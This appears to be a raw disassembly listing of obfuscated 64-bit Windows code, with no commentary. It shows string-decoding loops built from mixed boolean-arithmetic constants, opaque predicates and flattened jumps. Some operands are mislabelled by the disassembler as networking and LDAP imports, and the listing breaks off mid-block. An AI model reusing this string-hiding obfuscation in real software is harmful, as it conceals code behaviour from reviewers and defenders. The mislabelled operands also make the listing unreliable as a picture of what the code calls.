lea r8, [r9 + 6]
lea r9, [r8 + 0x61]
jmp 0x140096220
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096210
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x140096197
movabs rdx, 0xa6176d0a2d235dd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096134
movabs rcx, 0xd44f978c0b48b80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x140096c61
movabs rdx, 0xb1aed1ee2c201c20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x140096122
movabs rcx, 0x5618aa63978bacc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x140096122
movabs rdx, 0xfa8282d902f73d60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096cb8
movabs rcx, 0x9eec5b4e6e62ce00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
jmp 0x140096cdd
movabs rcx, 0x435633c3d9ce5ea0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096122
movabs rdx, 0xe7c00c394539ef40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096d1c
movabs rcx, 0x8c29e4aeb0a57fe0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140096d4e
movabs rcx, 0x3093bd241c111080
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
movabs rcx, 0xcb9c5a49a89dfa10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
mov byte [rbp + rdi + 0x870], r11b
inc rdi
jmp 0x140096122
movabs rdx, 0x700632bf14098ab0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x400
jb 0x1400965cf
movabs rcx, 0x3ee9e09b99923020
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_recv
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140096c61
movabs rcx, 0x14700b347f751b50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
cmp r8, 0x200
jae 0x140096b1b
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x140096a39
movabs rdx, 0xab0c5531cbc5d660
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096602
movabs rdx, 0xb8d9e3a9eae0abf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140096b44
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14009699f
movabs rdx, 0x6963b602b3af44f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096651
movabs rcx, 0x89f3bb1a908768a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
movabs rdx, 0x2e5d938ffbf2f940
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096d4e
movabs rcx, 0xd2c76c05675e89e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140096d1c
movabs rcx, 0x7731447ad2ca1a80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096122
movabs rdx, 0x1b9b1cf03e35ab20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096cdd
movabs rdx, 0xc004f565a9a13bc0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x140096cb8
movabs rdx, 0x646ecddb150ccc60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140096122
movabs rcx, 0x8d8a65080785d00
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r9
dec rdi
inc rdi
jmp 0x140096122
movabs rcx, 0xad427ec5ebe3eda0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140096c61
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x140096893
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
jmp 0x1400966aa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400968d4
movabs rcx, 0x83513e5e302d22e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140096904
movabs rcx, 0x3a7d8d73595601a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140096d1c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096934
movabs rcx, 0x4d40041317134fc0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x140096cb8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009696f
movabs rdx, 0xa8d62b9daba7bf20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140096122
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400966b6
movabs rcx, 0x60027ab2d4d09de0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140096c61
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400969cf
movabs rcx, 0xc4f9dd8d4843b450
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x140096c61
inc rax
cmp r8, rax
jne 0x140096a04
movabs rcx, 0x7c262ca2716c9310
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x140096122
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096651
movabs rdx, 0x33527bb79a9571d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096cdd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140096a7a
movabs rcx, 0x6a27cbc605a45c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
inc rax
cmp r8, rax
jne 0x140096aa9
movabs rcx, 0xbdcecbd189832480
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x140096d1c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140096ae9
movabs rcx, 0x1964f35c1e1793e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096122
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140096602
movabs rcx, 0x2c2769fbdbd4e200
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
dec rdi
inc rdi
jmp 0x140096122
movabs rdx, 0x9a8008262e269f80
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x870]
sub r11b, al
add r11b, 0x80
jmp 0x140096cb2
movabs rcx, 0xf6162fb0c2bb0ee0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x870]
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140096d1c
movabs rdx, 0x79f0030e514e7bd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
movabs rcx, 0xc2c3b3f928259d10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140096d1c
movabs rcx, 0xb9764e3fefcbe50
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x140096cdd
movabs rdx, 0x546b15ced5d3df90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140096122
movabs rdx, 0x9d3ec6b9acab00d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096c61
movabs rcx, 0xe61277a483822210
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
movabs rdx, 0xecb4f460e3dc67d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x870], cl
inc r9
dec rdi
inc rdi
jmp 0x140096122
movabs rdx, 0xd3500104c5c4d3f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x484b1beb7870d730
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x50
add cl, r11b
add cl, bl
mov byte [rbp + rdi + 0x870], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096122
mov rbx, r10
movabs rdx, 0xc08d8a65080785d0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0xa3e143760d054690
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x870], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x51ac573b574f7e40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x870], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
movabs rcx, 0x9613b4fdedea710
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x870]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096122
movabs rcx, 0x4a81457f988eee70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140096120
movabs rcx, 0xeeeb1df503fa7f10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x140096110
lea rcx, [rbp + 0x15d72b0]
jmp 0x140096e31
lea rcx, [rbp + 0x167aa60]
jmp 0x140096e31
lea rcx, [rbp + 0x870]
call fcn.140036770
mov byte [rbp + 0x8c0], 0xf9
mov byte [rbp + 0x8c1], Ordinal_60
mov byte [rbp + 0x8c2], 0xc0
mov byte [rbp + 0x8c3], recv
mov byte [rbp + 0x8c4], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x8c5], reloc.WS2_32.dll_select
mov byte [rbp + 0x8c6], 0
mov byte [rbp + 0x8c7], reloc.WS2_32.dll_select
mov byte [rbp + 0x8c8], 0x9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8c9], xmm0
mov qword [rbp + 0x8d9], rax
mov word [rbp + 0x8e1], ax
movabs r13, 0xc173afbf785a0b9b
movabs r14, 0xde7d6ab4df62f3b7
movabs r15, 0x86e90d77683035f3
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor esi, esi
cmp rsi, 0x23
jae 0x140097aec
movzx edi, byte [rbp + rsi + 0x8c0]
mov r11, rdi
cmp r8, rsi
ja 0x140097ae0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140096f1a
lea rcx, [rsi + r13]
mov rax, rdi
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdi
add r10, rcx
sub r10b, 0x3d
jmp 0x140096f46
je 0x140097a54
inc rax
cmp r8, rax
je 0x1400979e3
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097985
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009795a
cmp r9, rsi
ja 0x140097ad4
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x140096f7a
lea rdx, [rsi + r14]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
dec r10b
add r10b, dl
jmp 0x140096fba
lea rax, [r9 + 1]
cmp r8, rax
je 0x140097905
inc rax
cmp r8, rax
je 0x1400978d7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400978ac
lea rax, [r9 + 7]
cmp r8, rax
je 0x140097887
lea rax, [r9 + 2]
cmp r8, rax
je 0x140097851
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x14009746f
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009744a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097418
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400973ed
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400973ca
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140097391
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009736b
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140096fd0
lea r8, [r9 + 5]
lea r9, [r8 + 0x400]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140097aaf
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140097a8a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140097131
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140097112
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400972c5
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14009726e
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140096fd0
lea r8, [r9 + 4]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140097238
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140097212
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400971ed
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400971b4
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14009718b
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140097159
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140096fd0
lea r8, [r9 + 3]
lea r9, [r8 + 0x200]
jmp 0x140096fd0
lea rdx, [rsi + r15]
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x5b
add r10b, dl
jmp 0x140096f46
movabs rdx, 0x401adf8777c1ebd
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x2b
add r10b, dl
jmp 0x140096ee4
movabs rdx, 0x7103f6280a638682
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
inc r9
dec rsi
inc rsi
jmp 0x140096ed2
movabs rdx, 0x6b35372a28fb5816
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x1400977e5
movabs rdx, 0x6566782c479329aa
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140096ed2
movabs rdx, 0xe27f18ad56df1274
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x2c
jmp 0x1400979a8
movabs rdx, 0x5f97b92e662afb3e
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140097a07
movabs rcx, 0xdcb059af7576e408
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x38
movzx eax, byte [rbp + rsi + 0x8c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140096ed2
movabs rcx, 0x92868b732b0092cb
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x73
add r10b, cl
cmp r9, 0x64
jb 0x1400977a9
movabs rdx, 0x14180649f3e09fc2
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dil
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140097928
movabs rcx, 0x8cb7cc754998645f
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x67
add r10b, cl
lea rax, [r9 + r8]
cmp rax, 0x200
je 0x140097824
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400975b7
movabs rdx, 0x1890e09fad74c3ef
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
add r10b, 0x77
add r10b, dl
cmp r8, 0x80
jae 0x1400977b9
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14009768d
movabs rdx, 0xf70e4b548cd7b7a6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x140097291
movabs rdx, 0xb40920be4b9d9f14
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140097a07
movabs rdx, 0xae3a61c06a3570a8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140096ed2
movabs rdx, 0xa86ba2c288cd423c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x1400977df
movabs rcx, 0x2584434398192b06
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x2a
dec rsi
inc rsi
jmp 0x140096ed2
movabs rdx, 0xa29ce3c4a76513d0
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
inc r9
dec rsi
inc rsi
jmp 0x140096ed2
movabs rdx, 0x1fb58445b6b0fc9a
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x36
jmp 0x140097925
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140097498
lea rcx, [rsi + r13]
movzx eax, dil
and al, cl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x3d
jmp 0x1400972e5
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400974db
movabs rcx, 0xbcfad569bec5e76e
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 2
movzx eax, byte [rbp + rsi + 0x8c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140096ed2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009750e
movabs rdx, 0xc2c99467a02e15da
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x1400979a8
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009754f
movabs rcx, 0x45b0f3e690e22d10
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x70
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140096ed2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140097585
movabs rdx, 0xc898536581964446
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14009780c
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400972e8
movabs rdx, 0x4b7fb2e4724a5b7c
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x64
jmp 0x1400977e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400975e9
movabs rdx, 0x9b78401e9e28db25
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 3
jmp 0x140097925
inc rax
cmp r8, rax
jne 0x140097623
movabs rcx, 0x1e5f9f9d8edcf25b
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x7d
inc r9
dec rsi
inc rsi
jmp 0x140096ed2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009765b
movabs rcx, 0xa146ff1c7f910991
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 9
dec rsi
inc rsi
jmp 0x140096ed2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140097328
movabs rcx, 0xa715be1a60f937fd
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x15
jmp 0x14009780c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400976d0
movabs rcx, 0x79f5aad37d8bcedc
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 4
movzx eax, byte [rbp + rsi + 0x8c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140096ed2
inc rax
cmp r8, rax
jne 0x140097702
movabs rdx, 0x7fc469d15ef3fd48
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x1400979a8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097744
movabs rcx, 0x2abc9504fa8147e
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x72
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140096ed2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140097776
movabs rdx, 0x87a884e311042ea
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x66
jmp 0x1400977e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140097291
movabs rdx, 0x9130a6cb032c888c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x140097925
mov byte [rbp + rsi + 0x8c0], r10b
inc rsi
jmp 0x140096ed2
movabs rdx, 0x96ff65c8e494b6f8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rsi + 0x8c0]
add r10b, dil
add r10b, dl
movabs rcx, 0x587315885ceec293
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 5
add cl, r10b
add cl, dil
mov byte [rbp + rsi + 0x8c0], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140096ed2
movabs rdx, 0x19e6c547d548ce2e
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, byte [rbp + rsi + 0x8c0]
sub r10b, 0x42
jmp 0x1400979a8
movabs rcx, 0x789fc62b55b7c49d
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x4b
movzx eax, byte [rbp + rsi + 0x8c0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140096ed2
movabs rdx, 0x72d1072d744f9631
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x57
jmp 0x1400979a8
movabs rcx, 0x67338931b17f3959
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x6f
dec rsi
inc rsi
jmp 0x140096ed2
movabs rcx, 0xe44c29b2c0cb2223
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0xb
inc r9
dec rsi
inc rsi
jmp 0x140096ed2
movabs rdx, 0x6164ca33d0170aed
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x7b
add r10b, dl
movabs rcx, 0xd58bb6096c3aab5d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, 0x75
add cl, dil
mov byte [rbp + rsi + 0x8c0], cl
inc r9
dec rsi
inc rsi
jmp 0x140096ed2
movabs rcx, 0x55c74c380d46ae15
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
add r10b, 0x6d
dec rsi
inc rsi
jmp 0x140096ed2
mov rdi, r11
movabs rdx, 0x4a29ce3c4a76513d
add rdx, rsi
movzx eax, dl
and al, r11b
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x55
add r10b, dl
movabs rdx, 0xdb5a75074da2d9c9
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0x8c0], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x140097a0a
movabs rdx, 0xc7426ebd59c23a07
add rdx, rsi
